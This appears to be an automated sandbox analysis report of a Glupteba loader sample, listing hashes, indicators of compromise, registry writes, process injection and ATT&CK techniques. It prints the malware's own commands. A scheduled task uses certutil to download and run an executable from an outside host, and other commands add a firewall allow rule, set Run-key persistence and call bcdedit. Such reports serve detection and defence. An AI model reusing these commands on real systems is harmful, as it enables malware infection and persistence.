glupteba | 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43

General

Target

3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
Size

3.8MB
MD5

3220237e0b04e7aa65b106855898b5d8
SHA1

fac56baf9d932d019a0ffdf3fad20b5b6d08f82c
SHA256

3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43
SHA512

76211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3480-131-0x0000000003CC0000-0x00000000044C2000-memory.dmp	family_glupteba
behavioral2/memory/3480-132-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/3480-134-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/632-139-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/632-142-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/2332-144-0x0000000004200000-0x0000000004A02000-memory.dmp	family_glupteba
behavioral2/memory/2332-145-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/2332-146-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1452 created 3480	1452	svchost.exe	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
PID 1452 created 2332	1452	svchost.exe	csrss.exe
PID 1452 created 2332	1452	svchost.exe	csrss.exe
PID 1452 created 2332	1452	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

2332 csrss.exe
988 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

664 netsh.exe

pid	process
2332	csrss.exe
988	patch.exe

pid	process
664	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WanderingRain = "\"C:\\Windows\\rss\\csrss.exe\""	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2908 bcdedit.exe

pid	process
2908	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe

description	ioc	process
File opened for modification	C:\Windows\rss	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
File created	C:\Windows\rss\csrss.exe	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2600 schtasks.exe
1464 schtasks.exe

pid	process
2600	schtasks.exe
1464	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.execsrss.exe

pid	process
3480	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
3480	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
2332	csrss.exe
2332	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3480	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
Token: SeImpersonatePrivilege	3480	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
Token: SeTcbPrivilege	1452	svchost.exe
Token: SeTcbPrivilege	1452	svchost.exe
Token: SeBackupPrivilege	1452	svchost.exe
Token: SeRestorePrivilege	1452	svchost.exe
Token: SeBackupPrivilege	1452	svchost.exe
Token: SeRestorePrivilege	1452	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	csrss.exe
Token: SeBackupPrivilege	1452	svchost.exe
Token: SeRestorePrivilege	1452	svchost.exe
Token: SeBackupPrivilege	1452	svchost.exe
Token: SeRestorePrivilege	1452	svchost.exe
Token: SeBackupPrivilege	1452	svchost.exe
Token: SeRestorePrivilege	1452	svchost.exe
Token: SeBackupPrivilege	1452	svchost.exe
Token: SeRestorePrivilege	1452	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.execmd.execsrss.exe

description	pid	process	target process
PID 1452 wrote to memory of 632	1452	svchost.exe	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
PID 1452 wrote to memory of 632	1452	svchost.exe	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
PID 1452 wrote to memory of 632	1452	svchost.exe	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
PID 632 wrote to memory of 3020	632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe	cmd.exe
PID 632 wrote to memory of 3020	632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe	cmd.exe
PID 3020 wrote to memory of 664	3020	cmd.exe	netsh.exe
PID 3020 wrote to memory of 664	3020	cmd.exe	netsh.exe
PID 632 wrote to memory of 2332	632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe	csrss.exe
PID 632 wrote to memory of 2332	632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe	csrss.exe
PID 632 wrote to memory of 2332	632	3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe	csrss.exe
PID 1452 wrote to memory of 1464	1452	svchost.exe	schtasks.exe
PID 1452 wrote to memory of 1464	1452	svchost.exe	schtasks.exe
PID 1452 wrote to memory of 2600	1452	svchost.exe	schtasks.exe
PID 1452 wrote to memory of 2600	1452	svchost.exe	schtasks.exe
PID 1452 wrote to memory of 988	1452	svchost.exe	patch.exe
PID 1452 wrote to memory of 988	1452	svchost.exe	patch.exe
PID 2332 wrote to memory of 2908	2332	csrss.exe	bcdedit.exe
PID 2332 wrote to memory of 2908	2332	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
"C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3480

C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
"C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3020

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:664

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2332

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2600

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1464

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:988

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1452

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
3220237e0b04e7aa65b106855898b5d8

SHA1
fac56baf9d932d019a0ffdf3fad20b5b6d08f82c

SHA256
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43

SHA512
76211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
3220237e0b04e7aa65b106855898b5d8

SHA1
fac56baf9d932d019a0ffdf3fad20b5b6d08f82c

SHA256
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43

SHA512
76211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b

Download Submit
memory/632-133-0x0000000000000000-mapping.dmp

Download
memory/632-142-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/632-137-0x00000000038DC000-0x0000000003C83000-memory.dmp

Filesize
3.7MB

Download
memory/632-139-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/664-136-0x0000000000000000-mapping.dmp

Download
memory/988-149-0x0000000000000000-mapping.dmp

Download
memory/1464-147-0x0000000000000000-mapping.dmp

Download
memory/2332-145-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/2332-138-0x0000000000000000-mapping.dmp

Download
memory/2332-143-0x0000000003E00000-0x00000000041A7000-memory.dmp

Filesize
3.7MB

Download
memory/2332-144-0x0000000004200000-0x0000000004A02000-memory.dmp

Filesize
8.0MB

Download
memory/2332-146-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/2600-148-0x0000000000000000-mapping.dmp

Download
memory/2908-151-0x0000000000000000-mapping.dmp

Download
memory/3020-135-0x0000000000000000-mapping.dmp

Download
memory/3480-130-0x0000000003918000-0x0000000003CBF000-memory.dmp

Filesize
3.7MB

Download
memory/3480-134-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/3480-132-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/3480-131-0x0000000003CC0000-0x00000000044C2000-memory.dmp

Filesize
8.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads